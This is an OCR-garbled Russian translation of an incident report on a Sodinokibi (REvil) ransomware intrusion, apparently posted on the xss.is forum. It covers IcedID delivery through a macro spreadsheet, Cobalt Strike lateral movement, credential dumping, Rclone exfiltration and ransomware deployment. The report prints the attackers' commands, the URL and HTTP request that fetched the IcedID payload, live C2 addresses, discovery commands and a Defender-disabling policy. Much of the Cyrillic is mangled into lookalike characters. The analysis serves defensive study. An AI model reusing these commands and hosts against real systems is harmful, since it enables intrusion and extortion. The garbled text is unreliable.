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Cratba Sodinokibi (Takke nasectHbin Kak REVvil)

& xss.is/threads/50211

BBeaeHue

Sodinokibi (Tak»ke nzBectHast kak REvil) Ob1y1a 07{HOM M3 caMbIX aKTUBHBIX I'PYIII
nmporpaMmM-BbiMoraresieii (RaaS) 3a mocieguue mapy Jjiet. [Ipeamosaraaock, 4To 3a
BTOp:KeHHeM Travelex CTOUT 3TO ceMeliCTBO ITPOTpaMM-BbIMOTAaTe e, M TEKYIIHE OTYEThI
YKa3bIBAIOT Ha aTaKy Ha Acer ¢ TpeOOBaHHEM BBIKYyIIa B pa3Mepe 50 MUJUIMOHOB JIOJIJIAPOB.

B MapTe MbI HAOII0[aIA BTOPKEHNE, KOTOPOE HA4aI0Ch C BPEJTOHOCHOTO CllaMa, KOTOPbIH
pasociai IcedID (Bokbot) B cpeay 1 BriocencTBUM IpeAOCTaBUII OCTYII TPYIIIIE,
pacnpocrtpaHsiomei BeiMoraTtesibckoe [10 Sodinokibi. Bo BpeMs BTop:keHUs
3JI0YMBIIIIJIEHHUKY TTIOBBICHJIA IPUBUJIETHUH JI0 IMUHUCTPATOPA JOMEHA, U3BJIEKJIU TaHHbIE
u ucnosibzoBatu Sodinokibi /i1 KpunTa Beex cucTeM, MPUCOEANHEHHBIX K JIOMEHY.

Kparkuii 0630p MHIIEAeHTa

Tposta IcedID 611 BepBble OOHAPY?KeH B 2017 rojly U B HACTOsAIIee BpeMs JeHCTBYeT KaK
Opokep HaYaJIbHOTO JOCTYTIA /IJIs1 HECKOJIBKUX CeMeNCTBIIpOrpaMM-BeIMoOraTesnei. B xoze
HAIIIETO BTOP>KEHUS 3JI0YMBIIIIJIEHHUKU UCII0JIb30BaJIX BPEOHOCHBIH CIIaM € IIOMOIIIHIO
xlsm-0KyMeHTa, KOTOPBIH PHU OTKPHITUH U BKJIIOUEHUH MAaKpPOCa MHUITUHPOBAJ KOMaH/Ty
wmic 151 BeinostHeHus TpostHa IcedID u3 yrasneHHOro ucnostHsgeMoro aiiia,
IpezicTaBIAIoNIero coboit nzobpakenue B popmare GIF.

CoxpaHsieMocTb ObLJIa HACTPOEHA C MCI0JIb30BAaHUEM 3aIJIAHUPOBAHHOU 33/1aU¥, 1 KOMAH/IbI
oOHapy»keHUs ObLIN HHUITUUPOBAHBI BPEJOHOCHOM ITPOrpaMMOU B Te€UeHMEe HECKOIbKUX
MUHYT II0CJI€ BBITIOJIHEHUS. [IprMepHO uepes moJITopa vaca ImocJie epBOHAYaIbHOTO
ZIOCTyTIa BpeJIoHOCHas rporpamma otkioumsia Cobalt Strike Beacons ¢ 2 pa3HbIx cepBepoB
yIpaBJIeHUs U KOHTPOJIA, KOTOPbIE UCIOIb30BAIUCH HA MIPOTSKEHUH BCETO BTOPIKEHUS.
[Tocsie Toro, kak 6pLIH ycTaHOBJIeHBI Masiku Cobalt Strike Beacons, Hauanoch
TOPU30HTAJIPHOE TIeEpeEMeIleHe, CHauaia Ha cepBep Exchange, a 3aTem Ha apyrue cepBephl.
MbI BoOOIIIe HE BUETN B3aUMOJIEUCTBHSA 3/I0yMBIIIUIEHHUKOB ¢ TTpuioxkenneM Exchange; u
CHayasia Ka3ajoch, 4To aTaka ucxoamia ot Exchange, Ho mocJie TiaTe1bHOTO aHAIM3a MBI
IIPUIILIH K BBIBOY, YTO HCTOYHUKOM JercTBUTeIbHO ObLT IcedID. #ArtifactsMatter.
[Toxoske, 9YTO 3JI0YMBIIIUIEHHUKH XOTEJIH, YTOOBI MBI IIOBEPHIIH, uTO Exchange siBisieTcst
HMCTOYHUKOM aTaKH, IIOCKOJIbKY OHU mepeluti yepe3 Exchange k npyrum cucremam B
nomeHe c momorbio Cobalt Strike.

IToce kommpomeraruu cepBepa Exchange 3;10yMbIIIIEHHUKY TTePENTH HA KOHTPOJLIEPHI
JIOM€eHa ¥ IPyTHe CUCTEMBI B CpeJie ¢ IoMoIibio MassukoB SMB u PowerShell, BeimosiasieMbIx
yepes yAAJIEHHYIO CTyK0y. 3JI0YMBIIIIJIEHHUKOB HEMHOTO 3aMe T AntiVirus, KOTOPBIT
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CheJI ITapy MasKOB, HO 3JIOYMBIIIJIEHHUKN B KOHEUHOM UTOTe 0OOIILTH €r0, UCIIOIb3Y S
BapUAHT CBOEH TEXHUKHU OOKOBOTO JIBUKEHHS.

JlonoystHUTETbHOE UCJIefJOBaHUE CETU ObLIO BHITIOJIHEHO ¢ KOHTPOJLJIEpA JIOMeHA C IOMOIIIBIO
AdFind u yruute! Ping 7711 mpoBepKU coeIMHEHUN MeKIy KOHTPOJLJIEPOM JIOMEHa 1
JIPYTUMHU CUCTEMAMU, IIPUCOEUHEHHBIX K IoMeHy. [locsie 3aBepIieHus ucae0BaHus
yJeTHBIE TaHHBIE ObLTU BHITPY>KeHBI U3 1sass. [Tocsie BBITTOJTHEHUS 3THUX 33/1a9
3JI0YMBIIIUIEHHUKN HavyaJIu ycTaHaBAUBaTh RDP-coeinHeHNS MeX/Ty Pa3InIHbIMU
CHUCTEMAaMHU B JIOMEHe.

Yepes Tpu C ITOJIOBUHOH Yaca I0CJIe BTOPKEHUs 3/I0YMBIIIJIEHHUKH UCII0Ib30BaH Relone,
MAaCKHPYAChH IO UCIIOTHsIeMbIN datis svchost, 11 coopa v SKCPUIbTPAIIU COAEPIKIMOTO
OOIIMX CEeTEBBIX PECYPCOB JIJIsI UCIIOJIb30BAHUS B I€JISIX JBOMHOTO BRIMOTaTEIbCTBA.

[To mporrecTBHUM YeThIPEX YACOB 3JI0YMBIIIIEHHUKN HAaYaJIU IIePEX0/IUTh K KOHEUYHBIM
1esisiM. OHU pa3MecTUIN UCTIOTHAeMbIN (aiil IporpaMMbI-BbIMOTATe s HA KOHTPOJLIEpe
JIOMeHa, a 3aTeM ucioab30Bau BITSAdmin, 4ToObI 3arpy3UTh €ro B K3K/IYIO CHCTEMY B
nomeHe. ITociie 3TOro 3710yMBIIIUIEHHUKY Hctioab3oBanu RDP s otkpeiTus mporecca cmd
i PowerShell, uTo6s1 3aTeM 3amycTuTh MporpaMmmy-BeiMoraTesb Sodinokibi ¢
WICTI0JI30BAaHUEM OIIpeZieIeHHOTO (tara -smode, KOTOPHIY IIPH 3aITyCKe 3aIIKUCca ITapy
xitouell peectrpa RunOnce, a 3aTeM cpasy ke Ilepe3arpysuil CUCTeMy B 0€30I1aCHOM peKumMe
c moaziepkko ceru. IlIudpoBaHme He 3aIyCKaIOCh cpasy IMOCJIE epe3arpy3Ku, HO
TpebOBaIO BXO/IA MOJIb30BATEJIS B CUCTEMY, UYTO B 9TOM CJIy4ae 3JI0YMBIIITIEHHUKI
3aBepIIIN, BOU/IA B cCUCTEMY IIOCJIe Ilepe3arpy3KH.

3arpyska B 6€30IMaCHOM peKHMe C UCIIOTb30BaHUEM CEeTH 3a0JIOKMPOBAJIA 3aITyCK
WHCTPYMEHTOB 0€30IIaCHOCTH U JIPYTUX areHTOB yrpasiaeHus. CeTb paboTasa, HO U3-3a TOTO,
YTO CJIy?KOBI HE MOTJIM 3aIlyCKaThCsI, Mbl HE MOTJIX YAAJI€HHO YIIPABJIATh CUCTEMAMHU C
IIOMOIIIBIO HAIITUX OOBIYHBIX HHCTPYMEHTOB. MBI CUUTAEM, UTO STOT IIPOIECC OCTAHOBHII OBI
3aITyCcK HEKOTOpbIX areHToB EDR U, BO3MOKHO, 00HAPY?KUJI ObI BHITIOJTHEHHE IIPOTPAMMBbI-
BBIMOTATEJIS.

B HeKOTOPBIX crCcTeMax MporpaMMa-BbIMOTaTeNh 3aImycKaiach 6e3 dsiara -smode, a B Apyrux
cucremax dll BermostHsiack yepes rundll32, uro6s! 3ammudposarts cucreMy, He TpeOyst
nepe3arpysKHy, U I03BOJIAs 3JI0YMBIIIJIEHHIKAM OCTaBaThCs HA MECTe JI0 3aBepIIeHN s
npoiiecca mudpoBaHUs.

[IpumepHO uepes 4,5 Jyaca Iocjie IEPBOHAYATLHOTO JIOCTYTIA 3JI0YMBIIIJIEHHUKY 3aBEPITIN
CBOIO MHCCHIO 10 IIM(POBAHUIO BCEX MTPUCOETUHEHHBIX K JOMEHY CHCTeM. B 3amucke o
BBIMOTATEJILCTBE, OCTABJIEHHOU 3apajkeHreM, Oblla CChIKA Ha UX calT B Tor, 10 KOTOpOH
IleHa 3a pacirugpPOBKY COCTaBJISIJIa OKOJIO 200 THICSAY I0JIJIAPOB MIPHU OILJIaTe B TEYEHUE 7
nHer. Ecoiu MBI He 3a11aTUM B TEYEHUE 7 JHEH, IleHa BO3PACTET IPUMEPHO JI0 400 ThICAY
JI0JTapOB. BBIKYTI 10J13KeH OBITH BhIIIaueH B Monero, a He B OOBIYHBIX OUTKOWHAX. DTO
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MOZKET OBITh C/IeJIAHO JIJIsl TOTO, YUTOOBI JIyUIlle 3al[UTUTD IUIATEKH OT IeHCTBUMH 110
OTCJIESKMBAHUIO, TI0/TOOHBIX TeM, KOTOpBIe BhiostHsAeT Chainaylsis. 3710yMblIlILIEHHUKH
uneHtTuduIpoBau cebs Ha cBoeM carite kak Sodinokibi u cesazanucs ¢ 6;10orom Coveware,
YTOOBI raPaHTHPOBATh, UTO B CJIyYae OIJIAThl UX paciugpoBKa Oy/IET YCIEeIHOM.

CepBucsli
Harmr cepBuc Threat Feed mepexsatuit onun u3 1Byx cepBepoB Cobalt Strike 3a enp 10 aToro
BTOD2KeHUs, U Zipyroii IP 6611 06aBJIeH B KaHAJ, KaK TOJIBKO MbI €T0 Y3HAJIU.

Y Hac Takke ecTh apTedaKThl, JOCTYITHbIE U3 DTOTO CIIydasi, TAKUE KaK 00pasIibl IPOTPaMM-
BeiMoraresier (dll u exe), pcaps, 3axBarbl mamsATH, Qaisibl, TakeTbl Kape u MHOTOE Ipyroe B
paMKax HalllUX CEPBUCOB HUCCIIeIOBAaHUS 6€3011aCHOCTH U OPTaHU3AIUH.

Timeline
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Sodinokibi (aka
REvil) Ransomware

18:05 UTC Initial IcedID
execution on beach head host

18:06 IcedID discovery initiated
on host

C2 connection: 161.35.109.168:443

19:21 Cobalt Strike Beacons
executed on beach head host

19:30 Lateral movement t
Exchange server using Co
Strike

C2 connection: 45.86.163.78:443
cloudmetric.online

]
C2 connection: 195.189.99.74:443
- smalleststores.com

19:53 Lateral movement to
domain controller from
Exchange server

20:45 Threat actors begin
moving laterally using RDP

21:35 Exfiltration of files using
Rclone

22:06 First deployment of
ransomware using BITSAdmin
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22:07 Execution of Sodinokibi
ransomware with -smode flag
by threat actor over RDP
connection

22:28 Final ransomware
deployment

MITRE ATT&CK

IlepBOHAYAJIBHBIN JOCTYIL

IlepBOHAYIBHBIN JOCTYII JJ1S1 STOTO BTOPKEHUS OCYIIIECTBIIAICA Yepe3 KaMIIaHUIO
BPEZIOHOCHOTO CIIaMa, XOTs, 0Kuzas 3arpy30ok Qbot, Mb1 0OHAPY?KMJIH, YTO HA STOT pPa3 B
KayecTBe IT0JIe3HOU Harpy3KkH ObLI goctaBieH IcedID, aHaIOTMYHO aKTUBHOCTH, HEZJABHO

oTMeueHHOH Jl>ketimcoMm KymHHOM.

dopmat mocTaBkH - aiia xlsm:

THIS DOCUMENT IS ENCRYPTED BY

Docu5S
DOCUSIGN® PROTECT SERVICE
PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION

[I| If this document was downloaded from Emall, please click "Enable Editing"
from the yellow bar above

Once You have Enable Editing, please click "Enable Content"
from the yellow bar above

WHY | CANNOT OPEN THIS DOCUMENT?

[TepBoHaYaIbHOE BBIMIOJIHEHIE IOKYMEHTA 3aMuchiBaeT haii B:
Code:

C:\Users\Public\microsoft.security
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®atin Excel c umenem wmic 77151 BhIIOSTHEHUS (paiiyia ¢ IOMOIIBIO regsrv32
Code:

wmic.exe process call create 'regsvr32 -s C:\Users\Public\microsoft.security'

v Processes

B C\Program Files\Microsoft Office\Root\Office 16\EXCEL.EXE

"C:\Program Files‘\Microsoft Office\Root\OfficelGNEXCEL.EXE" "C:‘\Users\Admin\AppData‘local\Temp\Documents972.x1sm"

B CAWindows\System32\Whbemiwmic.exe

wmic.exe process call create 'regswr32 -s C:\Users‘\Publicmicrosoft.security"’

B C\Windows\system32\regsvri2.exe

regsvr32 -s C:\Users\Publicimicrosoft.security

3areM OH cJ1eJ1al CeTEBOM 3ampoc Ha 3arpysky (aiiia ¢ aroro URL-azapeca.
Code:

http://vpu@3jivmm@3qncgx.com/index.gif

Onuako GIF mpezcrasisit coboil BpemoHocHyto mporpammy IcedID.

GET findex.gil HTTP/1.1

Accept: "

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4 0 {compatible; MSIE 7.0; Windows NT 10.0; WOW84; Trident/8.0; NET4.0G; .NET4.0E; Tablet PG 2.0)
Host: vpu03jivmmoanog.com

Connection: Keep-Alive

HTTP1.1 200 OK
Date:
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
foclied:
Accep! Fanges: bytes
ontent-Length: 45056
antrol: max-age=25020
Gonnection: keep-aiive

NZ%GeeC e &€ ¢ 9L progam cannot be un in DOS mode.
SO G9| D202 G0z 0% & G020 D% S0P $D2% VOIRhODIPEISLO ¥ SO @2 V2PHUp00 text rdata
pd . Drrtre
o 361 P GG Lo
P3GPEHPINIHGBPHHPY G4 GOPHOLOPOUP & SO UPHOPHLPLIPH O L aat

b o Séding @ @ Hé
SH416 G400 “0k"wx“xMO)(Ob}é“xb“b“MPEs“OPLbﬁ“m“P@i GVHHAGHDOHL |66
@orae

G0 GHPTOr:PIHIDGLDH-D AID &6+ H1 P Gt GOEIGLGH GPOere GoHPHOrLG . sieHr
SOPOLCE
AGGD SO ; AA"T) !
I g LY 66
Gor0d. ] GAGD O
900G ILOVOFAOEOOT OOAOAG A A VAR 00100
’ - e

BT S A TE 2 AL L AE LOATIAC I B AT AELATODBEN

BblnOJIHEHUE

ITocse 3arpysku IcedID Ha xoct BpegonocHoe ITO 3amyckanoch ¢ momoiisio rundll32.exe.
Code:

rundl132.exe "C:\Users\USERNAME\AppData\Local\Temp\skull-x64.dat",update
/i:"DwarflWing\license.dat"
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[Tocste BBITIOJTHEHUS BPEIOHOCHAS ITpOrpaMMa yCTaHOBMJIA KOHTAKT € 161.35.109 [.] 168, Ha
KOTOPBIN OHA MPOJI0JKAJIA TIEPeIaBaTh CUTHAJIBI HA MIPOTSKEHUH BCETO BTOPIKEHUS.

3akpenieHue

BaKpI/IHIIeHI/Ie Ha XOCTe-ItaggapMme, IcedID OCYIIIECTBJIAJI C UCIIOJIb3OBAHUEM

3aIJIAHUPOBAHHOM 3a1auM.
Code:

wewouwquge_{A3112501-520A-8F32-871A-380B92917B3D}

ouwguge_{A3

false

-81-01T12:

PT10M
PT1H
true

false

itrue

PT@S

\AppData‘\Roaming\dou
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occa.dll”,update /i:"DwarfWing\
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#3 wininitexe -~
L35 services.exe v~
‘.53 swchostexe v~

created registry key
Registry modification .~
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Micros .
oft\Windows
NT\CurrentVersion\5chedule\TaskCache' Tre k|

e\wewouwquge_{A3112501-520A-8F32-
871A-380B92917E3D} -

Value type 6

()

Code:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\wewouwquge {A3112501-520A-8F32-871A-380B92917B3D}

BrinosiHeHE HcIoIHsAeMOro daiijia BeIMoraresisa co3aano kiaod RunOnce [y coxpaHeHHs.
Code:

HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*AstraZeneca

C:\\Windows\\

SetValue

C:\V\WWindows\h

.axe
|
{ba%asa—df%—aaﬁ—mXeaﬁaS IS
6512 -

technique_id=T1547.881, technigue_name=Registry Run Keys / Start Folder

=ct HKLM\\SOFTWARE\\WOW6432Node\ \Microsoft\\Windows\\CurrentVersion\\RunOnce\\*AstraZeneca

Microsoft-Windows-Sysmon/Operational

IToBbINIeHHE TPUBUWIETUH
ITocne 3aBepienus uciaenosanuss LDAP (BloodHound) Cobalt Strike Beacon, 3amyiieHHbIH

B IIporiecce wuauclt.exe, BBIIOJIHUI HeCKOJIbKO pyHKkInii PowerShell as o6xoma UAC,

BKJIIO49ad:
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e UAC-TokenMagic
e Invoke-SluiBypass

YxJaoHeHU e OT 3aIUT

IIpuMepHO Yepes moITopa yaca rmocJjie nepBoHavaabHoro gocryna IcedID cBsazasics ¢ AByms

cepBepamu Cobalt Strike.

IcedID to Cobalt Strike

rundll32.exe "C:\Users\UserName\AppData\Local\Temp\skull-x64.dat",

update li;"DwarfWinngS S O
AS

Create Remote Thread 45.86.163.78:80
Cmd.exe

Explorer.exe

195.189.99.74:443
Create Remote Thread smalleststores.com
Cmd.exe

45.86.163.78:443
cloudmetric.online

WUAUCLT.exe

W HKEKT B IIPOIECCHI, HCIIOJIb30BAJICA HECKOJIBKO pas, ¢ moMoinbio Cobalt Strike Beacons.

"CreateRemoteThread detected:

RuleName: technique_id=T1855, technigue_name=Process Injectio

n
UtcTime:
sourceProcessG
SourcePro

SourceIma \ !

ssGuid: {46d5468e
TargetProcessId: 1412
TargetImage: C:\Windo
NewThreadId: 399&
StartAddress:
StartModule: -

StartFunction: -

ITepen 3ammyckoM IpOrpaMMbI-BBIMOTATENISI 3JIOYMBIIIIJIEHHUKA CO37aJTH OO'BEKT TPYTITIOBOM

IIOJIUTHUKH, YTOOBI OTK/IIOUUTH 3aiuTHHK Windows Bo Bcex crucTeMax.
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id=T185%.881. technique_name=PowerShell

UtcTime:
Pr sGuid:
Id: 1572
Image: C:‘\Windows\S
FileVersion:
Description: Microsoft Manage
Product: Microsofte WlHdGV"w
Company: Microsoft Corporatio
OriginalFileName: mmc.exe
CommandLine: "C
CurrentDirectory:
User:
LogonGuid:
LogonId:
TerminalSessionId: 3
IntegritylLevel: High
: 58AD!

{46d546¢

System32\mmc . exe

Guid:

592-604f-4613-0EARORBARAA}

JECDAGDATIEF56A41A9VFA442F4C3AT95, MDS=BED2577AAS!

stem32\gpmc .ms

JBB1CT1CS!

{46d5468e-d526-684f-341a-00060000008 }

PowerShell\v1.8\powershell.exe

WindowsPowe

GPO Ha3Banu «HOBBIM».

Computer Configuration (Enabled)
Policies
Administrative Templates

Policy definitions (ADMAf

rShelliywl.8\powershell .exe”

ileg) retrizved from the local computer.

Windows Components/Windows Defender Antivirus

Policy
Tum off routine remediation
Tum off Windows Defender Antivirus

J1OoCTyIl K YYeTHBIM JAHHbIM

Setting
Enabled
Enabled

E&

B43F23B7

YueTHble 1aHHbIE OBLTU COXPAHEHBI HA CEPBEP U KOHTPOJLUIEP AoMeHa ¢ momoIbio Cobalt

Strike Beacon.
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5 2f092eb.exe A

Path

(UAC)

Process name

Execution time

Integrity level

Access privileges

Process ID

Command line

2f092eb.exe

Wl ADMIN$\2f092e6.exe

4336

System

Default

2f092e6.exe )

------- & rundll32.exe -~

t-855 wuauclt.exe -

b 1 lsass.exe .~

HccaenoBaHue ceTu
ITepBoHaUaIbHOE HCIEN0BaHUE OBLIO ITPOBeieHO BpemoHocHBIM 10 IcedID B TeueHue

Process name
Execution time
Path

Integrity level

Access privileges

(UAC)
Process ID

Command line

File name
Full path
SHA1

SHA256

Signer

HECKOJIbKUX MUHYT IIOCJIE 3allyCKa:

Code:

https://xss.is/threads/50211/

Isass.exe

CAWindows\System32\|sass.exe
System

Default

592

Isass.exe )

Isass.exe

CAWindows\System32\|sass.exe

|be25350106c9bdd1E?Edale?d[l’leb%ﬂ| I

|bbc5394?59d4baabad31eaﬂadafga| I

& Unknown
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cmd.exe /c chcp >&2

WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get *
/Format:List

ipconfig.exe ipconfig /all

systeminfo

net config workstation

nltest /domain_trusts

nltest /domain_trusts /all_trusts

net view /all /domain

net view /all

net.exe net group "Domain Admins" /domain

Bru1o 3ameueHo, uto moTok 3ampocoB LDAP ucxoaumi ot wuauclt.exe (Cobalt Strike) Ha

IIargapMe.
Code:
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"DistinguishedName": "CN=Terminal Server License Servers,CN=Builtin,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=RAS and IAS Servers,CN=Users,DC=DomainName,DC=1local",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Incoming Forest Trust Builders,CN=Builtin,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Account Operators,CN=Builtin,DC=DomainName,DC=local",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Cert Publishers,CN=Users,DC=DomainName,DC=1ocal", "ScopeOfSearch":
"Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Server Operators,CN=Builtin,DC=DomainName,DC=local”,
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Storage Replica Administrators,CN=Builtin,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Hyper-V Administrators,CN=Builtin,DC=DomainName,DC=local",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Remote Management Users,CN=Builtin,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Access Control Assistance
Operators,CN=Builtin,DC=DomainName,DC=1ocal", "ScopeOfSearch": "Base", "SearchFilter":
"member=*" }

"DistinguishedName": "CN=RDS Management Servers,CN=Builtin,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=RDS Endpoint Servers,CN=Builtin,DC=DomainName,DC=1local",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Event Log Readers,CN=Builtin,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=RDS Remote Access Servers,CN=Builtin,DC=DomainName,DC=local”,
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Certificate Service DCOM Access,CN=Builtin,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Performance Log Users,CN=Builtin,DC=DomainName,DC=1local”,
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Cryptographic Operators,CN=Builtin,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Distributed COM Users,CN=Builtin,DC=DomainName,DC=local”,
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Network Configuration Operators,CN=Builtin,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Performance Monitor Users,CN=Builtin,DC=DomainName,DC=1local",
"ScopeOfSearch”: "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Remote Desktop Users,CN=Builtin,DC=DomainName,DC=1ocal”,
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Replicator,CN=Builtin,DC=DomainName,DC=1ocal", "ScopeOfSearch":
"Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Backup Operators,CN=Builtin,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Print Operators,CN=Builtin,DC=DomainName,DC=1ocal", "ScopeOfSearch":
"Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Infra,DC=DomainName,DC=1local", "ScopeOfSearch": "Base",
"SearchFilter": "member=*" }
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"DistinguishedName": "CN=ExchangelegacyInterop,OU=Microsoft Exchange Security

Groups,DC=DomainName,DC=1ocal", "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=Security Administrator,OU=Microsoft Exchange Security
Groups,DC=DomainName,DC=1local", "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=Security Reader,0U=Microsoft Exchange Security
Groups,DC=DomainName,DC=1ocal", "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=Compliance Management,OU=Microsoft Exchange Security
Groups,DC=DomainName,DC=1ocal", "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=Discovery Management,OU=Microsoft Exchange Security
Groups,DC=DomainName,DC=1ocal", "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=Hygiene Management,OU=Microsoft Exchange Security
Groups,DC=DomainName,DC=1local", "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=Delegated Setup,0OU=Microsoft Exchange Security
Groups,DC=DomainName,DC=1ocal", "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=Records Management,OU=Microsoft Exchange Security
Groups,DC=DomainName,DC=1local", "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=Help Desk,OU=Microsoft Exchange Security
Groups,DC=DomainName,DC=1ocal", "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=UM Management,OU=Microsoft Exchange Security
Groups,DC=DomainName,DC=1local”, "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=Public Folder Management,OU=Microsoft Exchange Security
Groups,DC=DomainName,DC=1ocal", "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=View-Only Organization Management,OU=Microsoft Exchange Security
Groups,DC=DomainName,DC=1ocal”, "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=DnsUpdateProxy,CN=Users,DC=DomainName,DC=1ocal", "ScopeOfSearch":
"Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Recipient Management,OU=Microsoft Exchange Security
Groups,DC=DomainName,DC=1ocal", "ScopeOfSearch": "Base", "SearchFilter": "member=*" }
"DistinguishedName": "CN=Protected Users,CN=Users,DC=DomainName,DC=1ocal", "ScopeOfSearch":
"Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Cloneable Domain Controllers,CN=Users,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Enterprise Key Admins,CN=Users,DC=DomainName,DC=1local",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Key Admins,CN=Users,DC=DomainName,DC=1ocal", "ScopeOfSearch":
"Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Domain Guests,CN=Users,DC=DomainName,DC=1ocal", "ScopeOfSearch":
"Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Enterprise Read-only Domain
Controllers,CN=Users,DC=DomainName,DC=1ocal", "ScopeOfSearch": "Base", "SearchFilter":
"member=*" }

"DistinguishedName"”: "CN=Read-only Domain Controllers,CN=Users,DC=DomainName,DC=1ocal",
"ScopeOfSearch": "Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Domain Computers,CN=Users,DC=DomainName,DC=1ocal", "ScopeOfSearch":
"Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Domain Users,CN=Users,DC=DomainName,DC=1ocal", "ScopeOfSearch":
"Base", "SearchFilter": "member=*" }

"DistinguishedName": "CN=Domain Controllers,CN=Users,DC=DomainName,DC=1ocal",
"ScopeOfSearch”: "Base", "SearchFilter": "member=*" }
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MpbI cunTaeM, YTO aKTUBHOCTH ObLIa cBsi3aHA co ckaHupoBanueM Bloodhound, mockosbky
yepe3 HECKOJIBKO CEKYH/T MbI BUZUM, UTO pe3yabTaThl BloodHound c6packiBatores Ha quck
nepes yiaJIeHHeM.

{: userinit.exe v
t 852 explorerexe v

35 wuaucltexe .~

Process name wuauclt.exe
Execution time  Mar _
Path chwindows\system32\wuaucl.exe
Integrity level Medium
Access Restricted
privileges (UAC)
Process ID 624
Command line  |WUAUCLT.exe i
File name wuauclt.exe
Full path chwindows\system32\wuauclt.exe
SHA1 |58550.255bb32Df54920f5ec03?02dcaaab?cz| Iy
SHA256 |efaé?c29e533f1fe4a1dSQDEﬂ?DEEEDEMaaSE Iy
Signer &1 Microsoft Windows
Issuer Microsoft Windows Production PCA 2011

created file

0 202103 eicodHoundzip A~
File name 202103l _B1codHound zip
Full path c:\Users\Public\202 103l 6100dHound zip
SHA1 |5464&0?3ddBafo&cfeQEbB?DSB?ISEEﬁEaTE15 Iy
SHA256 |2f390?19b83dc6?b62db829‘1bdfb80839964.| Iy
Signer &1 Unknown

Oxasasmiuck Ha cepBepe Exchange, 31oympinuieHHUK BeInostHUIT DNS-3ampocs! 111 Beex
cucCTeM, IPUCOEIUHEHHBIX K JIOMEHY, U BBIIIOJIHUJI 3X0-3aIIPOC HECKOJIBKUX /IS IPOBEPKU
BO3MOKHOCTH ITOJIKJIIOUYEHUA.
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AdFind 6bL1 3amyIiieH Ha KOHTPOJLIEPE JoMeHa ISt cOopa IOMOIHUTEIbHON HHGOpPMAIUH,
takoi kak uMs, OC u DNS-ums.

2 rundli32.exe ~~
b 5 cmd.exe v
L. AdFind.exe A

Process name AdFind.exe

Execution time _
Path chusers\public\adfind.exe
Integrity level System

Access Standard

privileges (UAC)

Process ID 1068

Command line ra{?fiu:cl.;xe_ -f objectcategory=computer -csv Iy
name cn Operatingsystem dMSHostMame

File name AdFind.exe

Full path chusers\publichadfind.exe

SHA1 |4f4facfof9b4?daad95d1592D1fe?e?2fbc544:| [

